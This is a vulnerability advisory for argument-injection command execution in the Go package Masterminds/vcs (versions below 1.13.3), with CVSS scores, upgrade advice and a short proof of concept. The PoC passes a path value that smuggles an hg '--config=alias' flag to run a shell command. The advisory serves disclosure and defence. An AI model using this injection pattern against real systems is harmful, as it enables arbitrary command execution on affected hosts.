Command Injection Affecting github.com/masterminds/vcs package, versions <1.13.3


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.13% (50th percentile)

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  • Snyk ID SNYK-GOLANG-GITHUBCOMMASTERMINDSVCS-2437078
  • published 1 Apr 2022
  • disclosed 11 Mar 2022
  • credit Alessio Della Libera of Snyk Research Team

How to fix?

Upgrade github.com/Masterminds/vcs to version 1.13.3 or higher.

Overview

github.com/Masterminds/vcs is a VCS Repo management through a common interface in Go.

Affected versions of this package are vulnerable to Command Injection via argument injection. When hg is executed, argument strings are passed to hg in a way that additional flags can be set. The additional flags can be used to perform a command injection.

PoC

package main

import (
    "github.com/Masterminds/vcs"
)

func main(){
      local := "--config=alias.init=!touch ./HELLO"
    repo, _ := vcs.NewHgRepo("remote", local)
    repo.Init()
}

References

CVSS Scores

version 3.1
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Snyk

Recommended
8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
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NVD

9.8 critical